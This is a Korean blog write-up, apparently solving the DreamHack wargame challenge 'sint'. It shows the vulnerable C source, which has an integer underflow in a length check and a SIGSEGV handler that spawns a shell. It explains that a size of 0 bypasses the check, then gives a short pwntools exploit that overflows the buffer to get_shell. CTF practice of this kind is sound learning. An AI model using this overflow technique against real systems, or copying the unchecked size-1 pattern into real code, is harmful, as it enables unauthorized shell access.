Source code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

 
조건문에 걸리지 않기 위해 Size는 0으로 지정한다.
 

offset은 0x104임을 알 수 있다.

 
오프셋 + get_shell함수의 주소를 페이로드에 추가해 get_shell함수를 실행시킨다.
 

Exploit code

from pwn import *

p = process('./sint')
e = ELF('./sint') 

context.log_level = 'debug'

p.sendlineafter('Size: ', b'0')
p.sendlineafter('Data: ', b'f'*0x104 + p32(e.sym['get_shell']))
p.interactive()

 

shell 탈취 성공

'dreamhack > system' 카테고리의 다른 글

[DreamHack] welcome  (0) 2024.07.25
vkeod